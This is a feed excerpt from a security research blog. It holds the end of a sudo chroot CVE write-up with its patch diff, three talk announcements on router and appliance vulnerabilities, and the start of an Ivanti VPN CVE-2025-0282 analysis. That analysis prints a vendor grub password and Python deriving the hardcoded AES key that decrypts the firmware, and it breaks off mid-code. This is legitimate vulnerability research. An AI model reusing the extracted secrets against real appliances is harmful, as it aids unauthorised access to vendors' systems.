alt="image.png"></a></p><h2 id="复现"><a href="#复现" class="headerlink" title="复现"></a>复现</h2><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-02-ae30cc1334244617aaa6501e9fab6056-804675.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-07-02-ae30cc1334244617aaa6501e9fab6056-804675.png" alt="image.png"></a></p><h2 id="Patched"><a href="#Patched" class="headerlink" title="Patched"></a>Patched</h2><p>修复 commit    <sup id="fnref:5"><a href="#fn:5" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://github.com/sudo-project/sudo/commit/fdafc2ceb36382b07e604c0f39903d56bef54016#diff-6a3fc5e12751032d02db8970967b688eab54525c326699010870b3ffca2b6541">[5]</span></a></sup>： </p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--- sudo-1.9.17/plugins/sudoers/sudoers.c       2025-06-12 12:12:38.000000000 -0500</span></span><br><span class="line"><span class="comment">+++ sudo/plugins/sudoers/sudoers.c      2025-06-10 11:27:57.493871502 -0500</span></span><br><span class="line"><span class="meta">@@ -1080,7 +1080,6 @@</span></span><br><span class="line"> int</span><br><span class="line"> set_cmnd_path(struct sudoers_context *ctx, const char *runchroot)</span><br><span class="line"> &#123;</span><br><span class="line"><span class="deletion">-    struct sudoers_pivot pivot_state = SUDOERS_PIVOT_INITIALIZER;</span></span><br><span class="line">     const char *cmnd_in;</span><br><span class="line">     char *cmnd_out = NULL;</span><br><span class="line">     char *path = ctx-&gt;user.path;</span><br><span class="line"><span class="meta">@@ -1099,13 +1098,7 @@</span></span><br><span class="line">     if (def_secure_path &amp;&amp; !user_is_exempt(ctx))</span><br><span class="line">        path = def_secure_path;</span><br><span class="line"></span><br><span class="line"><span class="deletion">-    /* Pivot root. */</span></span><br><span class="line"><span class="deletion">-    if (runchroot != NULL) &#123;</span></span><br><span class="line"><span class="deletion">-       if (!pivot_root(runchroot, &amp;pivot_state))</span></span><br><span class="line"><span class="deletion">-           goto error;</span></span><br><span class="line"><span class="deletion">-    &#125;</span></span><br><span class="line"><span class="deletion">-</span></span><br><span class="line"><span class="deletion">-    ret = resolve_cmnd(ctx, cmnd_in, &amp;cmnd_out, path);</span></span><br><span class="line"><span class="addition">+    ret = resolve_cmnd(ctx, cmnd_in, &amp;cmnd_out, path, runchroot);</span></span><br><span class="line">     if (ret == FOUND) &#123;</span><br><span class="line">        char *slash = strrchr(cmnd_out, &#x27;/&#x27;);</span><br><span class="line">        if (slash != NULL) &#123;</span><br><span class="line"><span class="meta">@@ -1122,14 +1115,8 @@</span></span><br><span class="line">     else</span><br><span class="line">        ctx-&gt;user.cmnd = cmnd_out;</span><br><span class="line"></span><br><span class="line"><span class="deletion">-    /* Restore root. */</span></span><br><span class="line"><span class="deletion">-    if (runchroot != NULL)</span></span><br><span class="line"><span class="deletion">-       (void)unpivot_root(&amp;pivot_state);</span></span><br><span class="line"><span class="deletion">-</span></span><br><span class="line">     debug_return_int(ret);</span><br><span class="line"> error:</span><br><span class="line"><span class="deletion">-    if (runchroot != NULL)</span></span><br><span class="line"><span class="deletion">-       (void)unpivot_root(&amp;pivot_state);</span></span><br><span class="line">     free(cmnd_out);</span><br><span class="line">     debug_return_int(NOT_FOUND_ERROR);</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>删除了 pivot_root ，  以及看后续似乎要 deprecated  chroot <sup id="fnref:6"><a href="#fn:6" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://github.com/sudo-project/sudo/commit/bc88e5cbd3b41196cac727855e2446a02dfba51e">[6]</span></a></sup> ：</p><h2 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h2><p>这个漏洞有一个很巧合的地方， 如果当<code>pivot_root</code>之后， 调用到的第一个<code>nss_database_check_reload_and_get</code> 的第三个参数 <code>database_index</code>  不是 <code>nss_database_initgroups</code> , 且默认 <code>nss_database_initgroups</code> 初始化就是空 ，那么就会走到 <code>reload_disabled</code> 的地方并且返回， 那么之后就根本不会再读取 <code>nsswich.conf</code>。</p><p>我们去跟了下 libc 对 nss_database 初始化的变更 <sup id="fnref:4"><a href="#fn:4" rel="footnote"><span class="hint--top hint--error hint--medium hint--rounded hint--bounce" aria-label="https://github.com/bminor/glibc/commit/fa78feca47fdc226b46e7f6fea4c08c10fccd182">[4]</span></a></sup>, 上一次的更改在五年前， 但是这个漏洞是在 23 年引入的。 目前看起来没什么特别的大关联， 应该就是特别特别的巧合。。。</p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://codebrowser.dev/glibc/glibc/nss/nss_database.c.html#nss_database_check_reload_and_get<a href="#fnref:2" rev="footnote"> ↩</a></span></li><li id="fn:3"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://codebrowser.dev/glibc/glibc/nss/getXXent_r.c.html#122<a href="#fnref:3" rev="footnote"> ↩</a></span></li><li id="fn:4"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">4.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://github.com/bminor/glibc/commit/fa78feca47fdc226b46e7f6fea4c08c10fccd182<a href="#fnref:4" rev="footnote"> ↩</a></span></li><li id="fn:5"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">5.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://github.com/sudo-project/sudo/commit/fdafc2ceb36382b07e604c0f39903d56bef54016#diff-6a3fc5e12751032d02db8970967b688eab54525c326699010870b3ffca2b6541<a href="#fnref:5" rev="footnote"> ↩</a></span></li><li id="fn:6"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">6.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">https://github.com/sudo-project/sudo/commit/bc88e5cbd3b41196cac727855e2446a02dfba51e<a href="#fnref:6" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="cve-cve-2025-3246" scheme="https://bestwing.me/tags/cve-cve-2025-3246/"/>
    
    <category term="sudo" scheme="https://bestwing.me/tags/sudo/"/>
    
  </entry>
  
  <entry>
    <title>议题分享： When ASUS IoT Devices Play Hide-and-Seek with Security</title>
    <link href="https://bestwing.me/offbyone-conference-when-asus-iot-devices-play-hide-and-seek-with-security.html"/>
    <id>https://bestwing.me/offbyone-conference-when-asus-iot-devices-play-hide-and-seek-with-security.html</id>
    <published>2025-05-18T16:00:00.000Z</published>
    <updated>2026-02-07T05:48:02.269Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>…</p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这个议题于2025年5月8日在新加坡举办的Off-By-One Conference上分享。</p><p>大致的议题介绍：</p><p>Asus, as a leading consumer electronics manufacturer, offers a wide range of IoT devices, but its router products have historically faced significant challenges in security, including critical vulnerabilities such as the cfgserver issue in the Tianfu Cup and the httpd authentication bypass vulnerability. These incidents reveal potential shortcomings in the security design of ASUS router products.</p><p>This presentation will provide a systematic attack surface analysis of ASUS router devices, focusing on a review of some key historical vulnerabilities and a deep dive into the lighttpd component within the aicloud service to identify potential security risks. Our analysis will cover multiple vulnerabilities and their associated remote code execution (RCE) vulnerability chains, assess their impact scope and potential consequences, and offer recommendations for future improvements.</p><p>……</p><h2 id="公开-slide"><a href="#公开-slide" class="headerlink" title="公开 slide"></a>公开 slide</h2><p>这里公开 slide ， 感兴趣的同学可以自行阅读</p><div class="row"><iframe src="https://drive.google.com/file/d/1LBhdJCWBj0etSmI4PtxLxDUya5hgxWTA/preview" style="width:100%; height:550px"></iframe></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="Writeup" scheme="https://bestwing.me/categories/Writeup/"/>
    
    
    <category term="router" scheme="https://bestwing.me/tags/router/"/>
    
    <category term="asus" scheme="https://bestwing.me/tags/asus/"/>
    
    <category term="offbyone" scheme="https://bestwing.me/tags/offbyone/"/>
    
  </entry>
  
  <entry>
    <title>议题分享： 企业设备安全设备漏洞分析与利用</title>
    <link href="https://bestwing.me/Security-Equipment-Vulnerability-Research.html"/>
    <id>https://bestwing.me/Security-Equipment-Vulnerability-Research.html</id>
    <published>2025-03-31T16:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.202Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>…</p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这个议题内容在 2024年10月10日的华为 “安全光网”网络安全技术论坛和 2024年11月9日的先知沙龙-北京站分享过。</p><p>当时北京沙龙为了篇幅砍了很多 slide 的页数， 这次分享是<strong>比较</strong>完整的 95 页（ 做太多了…), 主要的内容是从各个类型的安全设备切入，分析他们的攻击面以及一些公开的 1day的漏洞分析， 主要大纲如下：</p><ol><li>安全邮件网关</li><li>网关</li><li>防火墙</li><li>VPN设备</li></ol><p>……</p><h2 id="公开-slide"><a href="#公开-slide" class="headerlink" title="公开 slide"></a>公开 slide</h2><p>这里公开 slide ， 感兴趣的同学可以自行阅读</p><div class="row"><iframe src="https://drive.google.com/file/d/1W6kVh6zJ-R61WR69xX7V02mmESTuwPJO/preview" style="width:100%; height:550px"></iframe></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="Writeup" scheme="https://bestwing.me/categories/Writeup/"/>
    
    
    <category term="vpn" scheme="https://bestwing.me/tags/vpn/"/>
    
    <category term="mail" scheme="https://bestwing.me/tags/mail/"/>
    
    <category term="gateway" scheme="https://bestwing.me/tags/gateway/"/>
    
    <category term="firewall" scheme="https://bestwing.me/tags/firewall/"/>
    
    <category term="“安全光网”网络安全技术论坛" scheme="https://bestwing.me/tags/%E2%80%9C%E5%AE%89%E5%85%A8%E5%85%89%E7%BD%91%E2%80%9D%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF%E8%AE%BA%E5%9D%9B/"/>
    
    <category term="xianzhi-beijing" scheme="https://bestwing.me/tags/xianzhi-beijing/"/>
    
  </entry>
  
  <entry>
    <title>议题分享：Vigor2960 Memoirs Pursuit of the Elusive 0day &amp; 1day</title>
    <link href="https://bestwing.me/Vigor2960-Memoirs-Pursuit-of-the-Elusive.html"/>
    <id>https://bestwing.me/Vigor2960-Memoirs-Pursuit-of-the-Elusive.html</id>
    <published>2025-03-06T16:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.203Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>…</p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>2024年9月因为<strong>360车联网安全研究院副院长曹颖杰</strong>的关系，受到邀请去了长沙信息物理系统安全技术沙龙水了一个议题，主要是之前对 draytek 2960的漏洞挖掘回顾和一个囤了很久，但是后面被修了的一个漏洞部分详情披露。（PS 这个洞的逻辑后来我出成了华为CTF的某个Pwn题）</p><h2 id="公开-slide"><a href="#公开-slide" class="headerlink" title="公开 slide"></a>公开 slide</h2><p>这里公开 PPT ， 感兴趣的同学可以自行阅读</p><div class="row"><iframe src="https://drive.google.com/file/d/1OW0Ntw7V07n3bdnUyWU2zBuXV82QDLSO/preview" style="width:100%; height:550px"></iframe></div><p>说起来这个洞，之前就已经有个大哥在他博客也提到了，还是太容易被发现了。另外感叹一句长沙还是挺好玩的。</p></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="Writeup" scheme="https://bestwing.me/categories/Writeup/"/>
    
    
    <category term="draytek" scheme="https://bestwing.me/tags/draytek/"/>
    
    <category term="vigor2960" scheme="https://bestwing.me/tags/vigor2960/"/>
    
    <category term="changsha-cps" scheme="https://bestwing.me/tags/changsha-cps/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2025-0282 Ivanti Connect Secure VPN 栈溢出漏洞分析</title>
    <link href="https://bestwing.me/CVE-2025-0282-Ivanti-Connect-Secure-VPN-stack-overflow.html"/>
    <id>https://bestwing.me/CVE-2025-0282-Ivanti-Connect-Secure-VPN-stack-overflow.html</id>
    <published>2025-01-28T16:00:00.000Z</published>
    <updated>2026-02-11T09:23:12.191Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<p>…</p><h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>2025年（暨蛇年）第一篇博客文章，顺便祝我的博客读者新春快乐吧。</p><p>1月9日 google 发布的 Ivanti Connect Secure VPN 设备的在野漏洞预警：</p><p><a href="https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/">https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day/</a></p><p>1月10日 watchtowr 就发布了漏洞分析</p><p><a href="https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/">https://labs.watchtowr.com/do-secure-by-design-pledges-come-with-stickers-ivanti-connect-secure-rce-cve-2025-0282/</a></p><p>1月10日我也发了我的漏洞复现推特： <a href="https://x.com/bestswngs/status/1877715807506952486">https://x.com/bestswngs/status/1877715807506952486</a></p><p>这次 diff版本2.3 build 3431 和 2.5， 特意留到了除夕夜发这篇文章..</p><h2 id="固件提取"><a href="#固件提取" class="headerlink" title="固件提取"></a>固件提取</h2><p>这部分内容依旧感谢我的同事 @explore 和 @leommxj的帮助， 具体流程如下：</p><p>添加磁盘到虚拟机里后， 用 <code>lvdisplay</code> 可以看到几个分区</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">──(root㉿kali)-[/home/kali/Desktop]</span><br><span class="line">└─<span class="comment"># lvdisplay</span></span><br><span class="line">  --- Logical volume ---</span><br><span class="line">  LV Path                /dev/groupA/home</span><br><span class="line">  LV Name                home</span><br><span class="line">  VG Name                groupA</span><br><span class="line">  LV UUID                vPWDHH-AlTq-GvBS-UAnf-orT1-yT2d-TdbWyK</span><br><span class="line">  LV Write Access        <span class="built_in">read</span>/write</span><br><span class="line">  LV Creation host, time (none), 2025-01-09 17:28:21 -0500</span><br><span class="line">  LV Status              NOT available</span><br><span class="line">  LV Size                &lt;4.87 GiB</span><br><span class="line">  Current LE             1246</span><br><span class="line">  Segments               1</span><br><span class="line">  Allocation             inherit</span><br><span class="line">  Read ahead sectors     auto</span><br><span class="line">   </span><br><span class="line">  --- Logical volume ---</span><br><span class="line">  LV Path                /dev/groupA/runtime</span><br><span class="line">  LV Name                runtime</span><br><span class="line">  VG Name                groupA</span><br><span class="line">  LV UUID                dFDVOl-kYQR-J3N5-3HNC-toXc-9947-sj0yzc</span><br><span class="line">  LV Write Access        <span class="built_in">read</span>/write</span><br><span class="line">  LV Creation host, time (none), 2025-01-09 17:28:39 -0500</span><br><span class="line">  LV Status              NOT available</span><br><span class="line">  LV Size                &lt;19.46 GiB</span><br><span class="line">  Current LE             4981</span><br><span class="line">  Segments               2</span><br><span class="line">  Allocation             inherit</span><br><span class="line">  Read ahead sectors     auto</span><br><span class="line">   </span><br><span class="line">  --- Logical volume ---</span><br><span class="line">  LV Path                /dev/groupZ/home</span><br><span class="line">  LV Name                home</span><br><span class="line">  VG Name                groupZ</span><br><span class="line">  LV UUID                cOTBS1-oaYw-PlAt-puTS-Uvq5-6C91-pK6QHK</span><br><span class="line">  LV Write Access        <span class="built_in">read</span>/write</span><br><span class="line">  LV Creation host, time (none), 2024-10-07 06:47:49 -0400</span><br><span class="line">  LV Status              NOT available</span><br><span class="line">  LV Size                6.72 GiB</span><br><span class="line">  Current LE             1721</span><br><span class="line">  Segments               1</span><br><span class="line">  Allocation             inherit</span><br><span class="line">  Read ahead sectors     auto</span><br></pre></td></tr></table></figure><p>可以看到这几个都是 lvm2 加密的， 没法直接 mount</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">┌──(root㉿kali)-[/home/kali/Desktop]</span><br><span class="line">└─<span class="comment"># fdisk -l</span></span><br><span class="line">Disk /dev/sdb: 80.09 GiB, 86000000000 bytes, 167968750 sectors</span><br><span class="line">Disk model: VMware Virtual S</span><br><span class="line">Units: sectors of 1 * 512 = 512 bytes</span><br><span class="line">Sector size (logical/physical): 512 bytes / 512 bytes</span><br><span class="line">I/O size (minimum/optimal): 512 bytes / 512 bytes</span><br><span class="line">Disklabel <span class="built_in">type</span>: dos</span><br><span class="line">Disk identifier: 0xc45d0b27</span><br><span class="line"></span><br><span class="line">Device     Boot Start       End   Sectors  Size Id Type</span><br><span class="line">/dev/sdb1  *     2048 167968749 167966702 80.1G 83 Linux</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors</span><br><span class="line">Disk model: VMware Virtual S</span><br><span class="line">Units: sectors of 1 * 512 = 512 bytes</span><br><span class="line">Sector size (logical/physical): 512 bytes / 512 bytes</span><br><span class="line">I/O size (minimum/optimal): 512 bytes / 512 bytes</span><br><span class="line">Disklabel <span class="built_in">type</span>: dos</span><br><span class="line">Disk identifier: 0x00000000</span><br><span class="line"></span><br><span class="line">Device     Boot     Start       End   Sectors  Size Id Type</span><br><span class="line">/dev/sda1           16065    224909    208845  102M 83 Linux</span><br><span class="line">/dev/sda2          224910    433754    208845  102M 83 Linux</span><br><span class="line">/dev/sda3          449820    658664    208845  102M 83 Linux</span><br><span class="line">/dev/sda4          674730 167766794 167092065 79.7G 85 Linux extended</span><br><span class="line">/dev/sda5          674731  14779799  14105069  6.7G 83 Linux</span><br><span class="line">/dev/sda6        14779801  30089744  15309944  7.3G 83 Linux</span><br><span class="line">/dev/sda7        30089746  65802239  35712494   17G 83 Linux</span><br><span class="line">/dev/sda8        65802241  81112184  15309944  7.3G 83 Linux</span><br><span class="line">/dev/sda9        81112186 116824679  35712494   17G 83 Linux</span><br><span class="line">/dev/sda10      116824681 132134624  15309944  7.3G 82 Linux swap / Solaris</span><br><span class="line">/dev/sda11      132134626 167766794  35632169   17G 83 Linux</span><br><span class="line">                                                                                                                                                            </span><br><span class="line">┌──(root㉿kali)-[/home/kali/Desktop]</span><br><span class="line">└─<span class="comment"># mount /dev/groupZ/home /mnt/runtime</span></span><br><span class="line">                                                                                                                                                            </span><br><span class="line">┌──(root㉿kali)-[/home/kali/Desktop]</span><br><span class="line">└─<span class="comment"># mount /dev/sda1 /mnt/runtime       </span></span><br><span class="line">                                                                                                                                                            </span><br><span class="line">┌──(root㉿kali)-[/home/kali/Desktop]</span><br><span class="line">└─<span class="comment"># ls /mnt/runtime </span></span><br><span class="line">boot.b  compact-file  coreboot.img  disksize  grub  kernel  log_coreboot  lost+found  VERSION</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们在 <code>/dev/sda1</code> 找到了对应的 <code>kernel</code> 和 <code>coreboot.img</code>， 可以看看到 coreboot.img 作为initrd</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">└─<span class="comment"># cat /mnt/runtime/grub/grub.cfg </span></span><br><span class="line"><span class="built_in">set</span> default=0</span><br><span class="line"><span class="built_in">set</span> timeout=5</span><br><span class="line">insmod ext2</span><br><span class="line">password 07ow3w3d743</span><br><span class="line">serial --unit=0 --speed=9600 --word=8 --parity=no --stop=1</span><br><span class="line">menuentry <span class="string">&quot;Current&quot;</span> &#123;</span><br><span class="line"><span class="built_in">set</span> root=(hd0,2)</span><br><span class="line">    linux /kernel system=A rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware   </span><br><span class="line">    initrd /coreboot.img</span><br><span class="line">&#125;</span><br><span class="line">menuentry <span class="string">&quot;Factory Reset&quot;</span> &#123;</span><br><span class="line"><span class="built_in">set</span> root=(hd0,1)</span><br><span class="line">    linux /kernel system=Z noconfirm rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware   </span><br><span class="line">    initrd /coreboot.img</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="decrypt"><a href="#decrypt" class="headerlink" title="decrypt"></a>decrypt</h3><p>coreboot.img 作为initrd</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-21-ee05dc473ae5764c7ab74ac2a110f46a-38fd2f.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-21-ee05dc473ae5764c7ab74ac2a110f46a-38fd2f.png" alt="image.png"></a></p><p>我们去将这里的 kernel 通过 vmlinux-to-elf 转换一下就可以逆向了， 在 kernel中<code>populate_rootfs</code>里面写死密钥的AES解密</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>DRAMFS_AES_KEY = <span class="built_in">bytes</span>.fromhex(<span class="string">&quot;13D7B32E2600B7747D80FBA8F8D5C7CA&quot;</span>)</span><br><span class="line">&gt;&gt;&gt;</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>realkey = strxor(DRAMFS_AES_KEY[:<span class="number">4</span>][::-<span class="number">1</span>], <span class="built_in">bytes</span>.fromhex(<span class="string">&#x27;99ED2BF2&#x27;</span>))[::-<span class="number">1</span>]</span><br><span class="line">  <span class="number">2</span> realkey += strxor(DRAMFS_AES_KEY[<span class="number">4</span>:<span class="number">8</span>][::-<span class="number">1</span>], <span class="built_in">bytes</span>.fromhex(<span class="string">&#x27;AEEF41FE&#x27;</span>))[::-<span class="number">1</span>]</span><br><span class="line">  <span class="number">3</span> realkey += strxor(DRAMFS_AES_KEY[<span class="number">8</span>:<span class="number">12</span>][::-<span class="number">1</span>], <span class="built_in">bytes</span>.fromhex(<span class="string">&#x27;141058C7&#x27;</span>))[::-<span class="number">1</span>]</span><br><span class="line">  <span class="number">4</span> realkey += strxor(DRAMFS_AES_KEY[<span class="number">12</span>:<span class="number">16</span>][::-<span class="number">1</span>], <span class="built_in">bytes</span>.fromhex(<span class="string">&#x27;D2ED180E&#x27;</span>))[::-<span class="number">1</span>]</span><br><span class="line"><span class="meta">&gt;&gt;&gt; </span>realkey</span><br><span class="line"><span class="string">b&#x27;\xe1\xfc^\xb7\xd8AX\xda\xba\xd8\xeb\xbc\xf6\xcd*\x18&#x27;</span></span><br></pre></td></tr></table></figure><p>binary ninja 带有神奇的优化，<br><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-21-fb9e3ca218c682ba175b92611e4cb934-dbe415.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2025-01-21-fb9e3ca218c682ba175b92611e4cb934-dbe415.png" alt="image.png"></a><br>优化出来就是异或完的</p><figure class="highlight 